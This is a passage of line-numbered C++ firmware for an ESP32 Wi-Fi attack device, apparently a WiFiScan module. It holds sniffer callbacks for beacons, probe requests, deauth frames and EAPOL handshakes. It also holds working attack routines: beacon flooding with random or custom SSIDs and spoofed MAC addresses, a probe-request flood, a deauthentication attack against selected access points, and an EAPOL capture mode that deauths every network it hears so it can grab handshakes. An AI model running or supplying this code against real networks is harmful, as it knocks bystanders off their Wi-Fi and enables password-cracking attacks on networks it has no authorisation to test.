  1327. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1328. {
  1329. Serial.print((char)snifferPacket->payload[i + 38]);
  1330. display_string.concat((char)snifferPacket->payload[i + 38]);
  1331. essid.concat((char)snifferPacket->payload[i + 38]);
  1332. }
  1333. bssid.concat(addr);
  1334. int temp_len = display_string.length();
  1335. for (int i = 0; i < 40 - temp_len; i++)
  1336. {
  1337. display_string.concat(" ");
  1338. }
  1339. Serial.print(" ");
  1340. #ifdef HAS_SCREEN
  1341. if (display_obj.display_buffer->size() == 0)
  1342. {
  1343. display_obj.loading = true;
  1344. display_obj.display_buffer->add(display_string);
  1345. display_obj.loading = false;
  1346. }
  1347. #endif
  1348. if (essid == "") {
  1349. essid = bssid;
  1350. Serial.print(essid + " ");
  1351. }
  1352. AccessPoint ap = {essid,
  1353. snifferPacket->rx_ctrl.channel,
  1354. {snifferPacket->payload[10],
  1355. snifferPacket->payload[11],
  1356. snifferPacket->payload[12],
  1357. snifferPacket->payload[13],
  1358. snifferPacket->payload[14],
  1359. snifferPacket->payload[15]},
  1360. false,
  1361. NULL};
  1362. access_points->add(ap);
  1363. Serial.print(access_points->size());
  1364. Serial.println();
  1365. if (save_packet)
  1366. sd_obj.addPacket(snifferPacket->payload, len);
  1367. }
  1368. }
  1369. }
  1370. }
  1371. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1372. {
  1373. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1374. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1375. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1376. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1377. int len = snifferPacket->rx_ctrl.sig_len;
  1378. String display_string = "";
  1379. if (type == WIFI_PKT_MGMT)
  1380. {
  1381. len -= 4;
  1382. int fctl = ntohs(frameControl->fctl);
  1383. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1384. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1385. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1386. #ifdef HAS_SCREEN
  1387. int buf = display_obj.display_buffer->size();
  1388. #else
  1389. int buf = 0;
  1390. #endif
  1391. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1392. {
  1393. delay(random(0, 10));
  1394. Serial.print("RSSI: ");
  1395. Serial.print(snifferPacket->rx_ctrl.rssi);
  1396. Serial.print(" Ch: ");
  1397. Serial.print(snifferPacket->rx_ctrl.channel);
  1398. Serial.print(" BSSID: ");
  1399. char addr[] = "00:00:00:00:00:00";
  1400. getMAC(addr, snifferPacket->payload, 10);
  1401. Serial.print(addr);
  1402. display_string.concat(addr);
  1403. Serial.print(" ESSID: ");
  1404. display_string.concat(" -> ");
  1405. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1406. {
  1407. Serial.print((char)snifferPacket->payload[i + 38]);
  1408. display_string.concat((char)snifferPacket->payload[i + 38]);
  1409. }
  1410. int temp_len = display_string.length();
  1411. #ifdef HAS_SCREEN
  1412. for (int i = 0; i < 40 - temp_len; i++)
  1413. {
  1414. display_string.concat(" ");
  1415. }
  1416. Serial.print(" ");
  1417. if (display_obj.display_buffer->size() == 0)
  1418. {
  1419. display_obj.loading = true;
  1420. display_obj.display_buffer->add(display_string);
  1421. display_obj.loading = false;
  1422. }
  1423. #endif
  1424. Serial.println();
  1425. if (save_packet)
  1426. sd_obj.addPacket(snifferPacket->payload, len);
  1427. }
  1428. }
  1429. }
  1430. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1431. {
  1432. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1433. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1434. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1435. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1436. int len = snifferPacket->rx_ctrl.sig_len;
  1437. String display_string = "";
  1438. if (type == WIFI_PKT_MGMT)
  1439. {
  1440. len -= 4;
  1441. int fctl = ntohs(frameControl->fctl);
  1442. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1443. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1444. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1445. #ifdef HAS_SCREEN
  1446. int buf = display_obj.display_buffer->size();
  1447. #else
  1448. int buf = 0;
  1449. #endif
  1450. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1451. {
  1452. delay(random(0, 10));
  1453. Serial.print("RSSI: ");
  1454. Serial.print(snifferPacket->rx_ctrl.rssi);
  1455. Serial.print(" Ch: ");
  1456. Serial.print(snifferPacket->rx_ctrl.channel);
  1457. Serial.print(" BSSID: ");
  1458. char addr[] = "00:00:00:00:00:00";
  1459. getMAC(addr, snifferPacket->payload, 10);
  1460. Serial.print(addr);
  1461. display_string.concat(text_table4[0]);
  1462. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1463. display_string.concat(" ");
  1464. display_string.concat(addr);
  1465. #ifdef HAS_SCREEN
  1466. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1467. {
  1468. display_string.concat(" ");
  1469. }
  1470. Serial.print(" ");
  1471. if (display_obj.display_buffer->size() == 0)
  1472. {
  1473. display_obj.loading = true;
  1474. display_obj.display_buffer->add(display_string);
  1475. display_obj.loading = false;
  1476. }
  1477. #endif
  1478. Serial.println();
  1479. if (save_packet)
  1480. sd_obj.addPacket(snifferPacket->payload, len);
  1481. }
  1482. }
  1483. }
  1484. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1485. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1486. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1487. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1488. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1489. int len = snifferPacket->rx_ctrl.sig_len;
  1490. String display_string = "";
  1491. if (type == WIFI_PKT_MGMT)
  1492. {
  1493. len -= 4;
  1494. int fctl = ntohs(frameControl->fctl);
  1495. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1496. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1497. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1498. #ifdef HAS_SCREEN
  1499. int buf = display_obj.display_buffer->size();
  1500. #else
  1501. int buf = 0;
  1502. #endif
  1503. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1504. {
  1505. delay(random(0, 10));
  1506. Serial.print("RSSI: ");
  1507. Serial.print(snifferPacket->rx_ctrl.rssi);
  1508. Serial.print(" Ch: ");
  1509. Serial.print(snifferPacket->rx_ctrl.channel);
  1510. Serial.print(" Client: ");
  1511. char addr[] = "00:00:00:00:00:00";
  1512. getMAC(addr, snifferPacket->payload, 10);
  1513. Serial.print(addr);
  1514. display_string.concat(addr);
  1515. Serial.print(" Requesting: ");
  1516. display_string.concat(" -> ");
  1517. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1518. {
  1519. Serial.print((char)snifferPacket->payload[26 + i]);
  1520. display_string.concat((char)snifferPacket->payload[26 + i]);
  1521. }
  1522. // Print spaces because of the rotating lines of the hardware scroll.
  1523. // The same characters print from previous lines so I just overwrite them
  1524. // with spaces.
  1525. #ifdef HAS_SCREEN
  1526. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1527. {
  1528. display_string.concat(" ");
  1529. }
  1530. if (display_obj.display_buffer->size() == 0)
  1531. {
  1532. //while (display_obj.printing)
  1533. // delay(1);
  1534. display_obj.loading = true;
  1535. display_obj.display_buffer->add(display_string);
  1536. display_obj.loading = false;
  1537. }
  1538. #endif
  1539. Serial.println();
  1540. if (save_packet)
  1541. sd_obj.addPacket(snifferPacket->payload, len);
  1542. }
  1543. }
  1544. }
  1545. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1546. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1547. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1548. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1549. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1550. int len = snifferPacket->rx_ctrl.sig_len;
  1551. String display_string = "";
  1552. String essid = "";
  1553. bool found = false;
  1554. if (type == WIFI_PKT_MGMT)
  1555. {
  1556. len -= 4;
  1557. int fctl = ntohs(frameControl->fctl);
  1558. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1559. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1560. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1561. #ifdef HAS_SCREEN
  1562. int buf = display_obj.display_buffer->size();
  1563. #else
  1564. int buf = 0;
  1565. #endif
  1566. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1567. {
  1568. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1569. {
  1570. essid.concat((char)snifferPacket->payload[26 + i]);
  1571. }
  1572. for (int i = 0; i < ssids->size(); i++) {
  1573. if (ssids->get(i).essid == essid) {
  1574. Serial.println("Found a sheep");
  1575. found = true;
  1576. break;
  1577. }
  1578. }
  1579. if (!found)
  1580. return;
  1581. delay(random(0, 10));
  1582. Serial.print("RSSI: ");
  1583. Serial.print(snifferPacket->rx_ctrl.rssi);
  1584. Serial.print(" Ch: ");
  1585. Serial.print(snifferPacket->rx_ctrl.channel);
  1586. Serial.print(" Client: ");
  1587. char addr[] = "00:00:00:00:00:00";
  1588. getMAC(addr, snifferPacket->payload, 10);
  1589. Serial.print(addr);
  1590. display_string.concat(addr);
  1591. Serial.print(" Requesting: ");
  1592. display_string.concat(" -> ");
  1593. // ESSID
  1594. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1595. {
  1596. Serial.print((char)snifferPacket->payload[26 + i]);
  1597. display_string.concat((char)snifferPacket->payload[26 + i]);
  1598. }
  1599. // Print spaces because of the rotating lines of the hardware scroll.
  1600. // The same characters print from previous lines so I just overwrite them
  1601. // with spaces.
  1602. #ifdef HAS_SCREEN
  1603. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1604. {
  1605. display_string.concat(" ");
  1606. }
  1607. if (display_obj.display_buffer->size() == 0)
  1608. {
  1609. display_obj.loading = true;
  1610. display_obj.display_buffer->add(display_string);
  1611. display_obj.loading = false;
  1612. }
  1613. #endif
  1614. Serial.println();
  1615. if (save_packet)
  1616. sd_obj.addPacket(snifferPacket->payload, len);
  1617. }
  1618. }
  1619. }
  1620. /*
  1621. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1622. set_channel = random(1,12);
  1623. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1624. delay(1);
  1625. // Randomize SRC MAC
  1626. packet[10] = packet[16] = custom_ssid.bssid[0];
  1627. packet[11] = packet[17] = custom_ssid.bssid[1];
  1628. packet[12] = packet[18] = custom_ssid.bssid[2];
  1629. packet[13] = packet[19] = custom_ssid.bssid[3];
  1630. packet[14] = packet[20] = custom_ssid.bssid[4];
  1631. packet[15] = packet[21] = custom_ssid.bssid[5];
  1632. char ESSID[custom_ssid.essid.length() + 1] = {};
  1633. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1634. }*/
  1635. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1636. set_channel = random(1,12);
  1637. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1638. delay(1);
  1639. if (custom_ssid.beacon->size() == 0)
  1640. return;
  1641. // Randomize SRC MAC
  1642. // Randomize SRC MAC
  1643. packet[10] = packet[16] = random(256);
  1644. packet[11] = packet[17] = random(256);
  1645. packet[12] = packet[18] = random(256);
  1646. packet[13] = packet[19] = random(256);
  1647. packet[14] = packet[20] = random(256);
  1648. packet[15] = packet[21] = random(256);
  1649. char ESSID[custom_ssid.essid.length() + 1] = {};
  1650. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1651. int realLen = strlen(ESSID);
  1652. int ssidLen = random(realLen, 33);
  1653. int numSpace = ssidLen - realLen;
  1654. //int rand_len = sizeof(rand_reg);
  1655. int fullLen = ssidLen;
  1656. packet[37] = fullLen;
  1657. // Insert my tag
  1658. for(int i = 0; i < realLen; i++)
  1659. packet[38 + i] = ESSID[i];
  1660. for(int i = 0; i < numSpace; i++)
  1661. packet[38 + realLen + i] = 0x20;
  1662. /////////////////////////////
  1663. packet[50 + fullLen] = set_channel;
  1664. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1665. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1666. // Add everything that goes after the SSID
  1667. //for(int i = 0; i < 12; i++)
  1668. // packet[38 + fullLen + i] = postSSID[i];
  1669. packet[34] = custom_ssid.beacon->get(0);
  1670. packet[35] = custom_ssid.beacon->get(1);
  1671. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1672. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1673. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1674. packets_sent = packets_sent + 3;
  1675. }
  1676. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1677. set_channel = random(1,12);
  1678. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1679. delay(1);
  1680. // Randomize SRC MAC
  1681. packet[10] = packet[16] = custom_ssid.bssid[0];
  1682. packet[11] = packet[17] = custom_ssid.bssid[1];
  1683. packet[12] = packet[18] = custom_ssid.bssid[2];
  1684. packet[13] = packet[19] = custom_ssid.bssid[3];
  1685. packet[14] = packet[20] = custom_ssid.bssid[4];
  1686. packet[15] = packet[21] = custom_ssid.bssid[5];
  1687. char ESSID[custom_ssid.essid.length() + 1] = {};
  1688. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1689. int ssidLen = strlen(ESSID);
  1690. //int rand_len = sizeof(rand_reg);
  1691. int fullLen = ssidLen;
  1692. packet[37] = fullLen;
  1693. // Insert my tag
  1694. for(int i = 0; i < ssidLen; i++)
  1695. packet[38 + i] = ESSID[i];
  1696. /////////////////////////////
  1697. packet[50 + fullLen] = set_channel;
  1698. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1699. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1700. // Add everything that goes after the SSID
  1701. for(int i = 0; i < 12; i++)
  1702. packet[38 + fullLen + i] = postSSID[i];
  1703. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1704. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1705. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1706. packets_sent = packets_sent + 3;
  1707. }
  1708. // Function to send beacons with random ESSID length
  1709. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1710. set_channel = random(1,12);
  1711. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1712. delay(1);
  1713. // Randomize SRC MAC
  1714. packet[10] = packet[16] = random(256);
  1715. packet[11] = packet[17] = random(256);
  1716. packet[12] = packet[18] = random(256);
  1717. packet[13] = packet[19] = random(256);
  1718. packet[14] = packet[20] = random(256);
  1719. packet[15] = packet[21] = random(256);
  1720. int ssidLen = strlen(ESSID);
  1721. //int rand_len = sizeof(rand_reg);
  1722. int fullLen = ssidLen;
  1723. packet[37] = fullLen;
  1724. // Insert my tag
  1725. for(int i = 0; i < ssidLen; i++)
  1726. packet[38 + i] = ESSID[i];
  1727. /////////////////////////////
  1728. packet[50 + fullLen] = set_channel;
  1729. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1730. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1731. // Add everything that goes after the SSID
  1732. for(int i = 0; i < 12; i++)
  1733. packet[38 + fullLen + i] = postSSID[i];
  1734. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1735. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1736. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1737. packets_sent = packets_sent + 3;
  1738. }
  1739. // Function for sending crafted beacon frames
  1740. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1741. set_channel = random(1,12);
  1742. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1743. delay(1);
  1744. // Randomize SRC MAC
  1745. packet[10] = packet[16] = random(256);
  1746. packet[11] = packet[17] = random(256);
  1747. packet[12] = packet[18] = random(256);
  1748. packet[13] = packet[19] = random(256);
  1749. packet[14] = packet[20] = random(256);
  1750. packet[15] = packet[21] = random(256);
  1751. packet[37] = 6;
  1752. // Randomize SSID (Fixed size 6. Lazy right?)
  1753. packet[38] = alfa[random(65)];
  1754. packet[39] = alfa[random(65)];
  1755. packet[40] = alfa[random(65)];
  1756. packet[41] = alfa[random(65)];
  1757. packet[42] = alfa[random(65)];
  1758. packet[43] = alfa[random(65)];
  1759. packet[56] = set_channel;
  1760. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1761. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1762. // Add everything that goes after the SSID
  1763. for(int i = 0; i < 12; i++)
  1764. packet[38 + 6 + i] = postSSID[i];
  1765. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1766. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1767. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1768. packets_sent = packets_sent + 3;
  1769. }
  1770. // Function to send probe flood to all "active" access points
  1771. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1772. // Itterate through all access points in list
  1773. for (int i = 0; i < access_points->size(); i++) {
  1774. // Check if active
  1775. if (access_points->get(i).selected) {
  1776. this->set_channel = access_points->get(i).channel;
  1777. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1778. delay(1);
  1779. // Build packet
  1780. // Randomize SRC MAC
  1781. prob_req_packet[10] = random(256);
  1782. prob_req_packet[11] = random(256);
  1783. prob_req_packet[12] = random(256);
  1784. prob_req_packet[13] = random(256);
  1785. prob_req_packet[14] = random(256);
  1786. prob_req_packet[15] = random(256);
  1787. // Set SSID length
  1788. int ssidLen = access_points->get(i).essid.length();
  1789. //int rand_len = sizeof(rand_reg);
  1790. int fullLen = ssidLen;
  1791. prob_req_packet[25] = fullLen;
  1792. // Insert ESSID
  1793. char buf[access_points->get(i).essid.length() + 1] = {};
  1794. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1795. for(int i = 0; i < ssidLen; i++)
  1796. prob_req_packet[26 + i] = buf[i];
  1797. /*
  1798. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1799. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1800. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1801. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1802. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1803. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1804. 0x00, 0x00
  1805. */
  1806. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1807. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1808. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1809. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1810. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1811. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1812. 0x00, 0x00, 0x00, 0x00};
  1813. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1814. for (int i = 0; i < 26 + fullLen; i++)
  1815. good_probe_req_packet[i] = prob_req_packet[i];
  1816. for(int i = 0; i < 40; i++)
  1817. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1818. // Send packet
  1819. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1820. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1821. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1822. packets_sent = packets_sent + 3;
  1823. }
  1824. }
  1825. }
  1826. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1827. // Itterate through all access points in list
  1828. // Check if active
  1829. WiFiScan::set_channel = channel;
  1830. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1831. delay(1);
  1832. // Build packet
  1833. deauth_frame_default[10] = bssid[0];
  1834. deauth_frame_default[11] = bssid[1];
  1835. deauth_frame_default[12] = bssid[2];
  1836. deauth_frame_default[13] = bssid[3];
  1837. deauth_frame_default[14] = bssid[4];
  1838. deauth_frame_default[15] = bssid[5];
  1839. deauth_frame_default[16] = bssid[0];
  1840. deauth_frame_default[17] = bssid[1];
  1841. deauth_frame_default[18] = bssid[2];
  1842. deauth_frame_default[19] = bssid[3];
  1843. deauth_frame_default[20] = bssid[4];
  1844. deauth_frame_default[21] = bssid[5];
  1845. // Send packet
  1846. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1847. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1848. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1849. packets_sent = packets_sent + 3;
  1850. }
  1851. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1852. // Itterate through all access points in list
  1853. for (int i = 0; i < access_points->size(); i++) {
  1854. // Check if active
  1855. if (access_points->get(i).selected) {
  1856. this->set_channel = access_points->get(i).channel;
  1857. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1858. delay(1);
  1859. // Build packet
  1860. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1861. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1862. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1863. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1864. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1865. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1866. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1867. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1868. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1869. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1870. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1871. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1872. // Send packet
  1873. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1874. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1875. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1876. packets_sent = packets_sent + 3;
  1877. }
  1878. }
  1879. }
  1880. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1881. {
  1882. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1883. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1884. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1885. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1886. int len = snifferPacket->rx_ctrl.sig_len;
  1887. if (type == WIFI_PKT_MGMT)
  1888. {
  1889. len -= 4;
  1890. int fctl = ntohs(frameControl->fctl);
  1891. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1892. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1893. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1894. if (snifferPacket->payload[0] == 0x80)
  1895. {
  1896. num_beacon++;
  1897. }
  1898. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1899. {
  1900. num_deauth++;
  1901. }
  1902. else if (snifferPacket->payload[0] == 0x40)
  1903. {
  1904. num_probe++;
  1905. }
  1906. if (save_packet)
  1907. sd_obj.addPacket(snifferPacket->payload, len);
  1908. }
  1909. }
  1910. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1911. {
  1912. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1913. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1914. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1915. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1916. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1917. int len = snifferPacket->rx_ctrl.sig_len;
  1918. if (type == WIFI_PKT_MGMT)
  1919. {
  1920. len -= 4;
  1921. int fctl = ntohs(frameControl->fctl);
  1922. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1923. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1924. }
  1925. // Found beacon frame. Decide whether to deauth
  1926. if (send_deauth) {
  1927. if (snifferPacket->payload[0] == 0x80) {
  1928. // Build packet
  1929. uint8_t new_packet[26] = {
  1930. 0xc0, 0x00, 0x3a, 0x01,
  1931. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1932. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1933. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1934. 0xf0, 0xff, 0x02, 0x00
  1935. };
  1936. new_packet[10] = snifferPacket->payload[10];
  1937. new_packet[11] = snifferPacket->payload[11];
  1938. new_packet[12] = snifferPacket->payload[12];
  1939. new_packet[13] = snifferPacket->payload[13];
  1940. new_packet[14] = snifferPacket->payload[14];
  1941. new_packet[15] = snifferPacket->payload[15];
  1942. new_packet[16] = snifferPacket->payload[10];
  1943. new_packet[17] = snifferPacket->payload[11];
  1944. new_packet[18] = snifferPacket->payload[12];
  1945. new_packet[19] = snifferPacket->payload[13];
  1946. new_packet[20] = snifferPacket->payload[14];
  1947. new_packet[21] = snifferPacket->payload[15];
  1948. // Send packet
  1949. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1950. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1951. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1952. }
  1953. }
  1954. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1955. num_eapol++;
  1956. Serial.println("Received EAPOL:");
  1957. for (int i = 0; i < len; i++) {
  1958. char hexCar[4];
  1959. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1960. Serial.print(hexCar);
  1961. //Serial.print(snifferPacket->payload[i], HEX);
  1962. if ((i + 1) % 16 == 0)
  1963. Serial.print("\n");
  1964. else
  1965. Serial.print(" ");
  1966. }
  1967. Serial.print("\n");
  1968. }
  1969. if (save_packet)
  1970. sd_obj.addPacket(snifferPacket->payload, len);
  1971. }
  1972. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1973. {
  1974. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1975. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1976. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1977. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1978. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1979. int len = snifferPacket->rx_ctrl.sig_len;
  1980. if (type == WIFI_PKT_MGMT)
  1981. {
  1982. len -= 4;
  1983. int fctl = ntohs(frameControl->fctl);
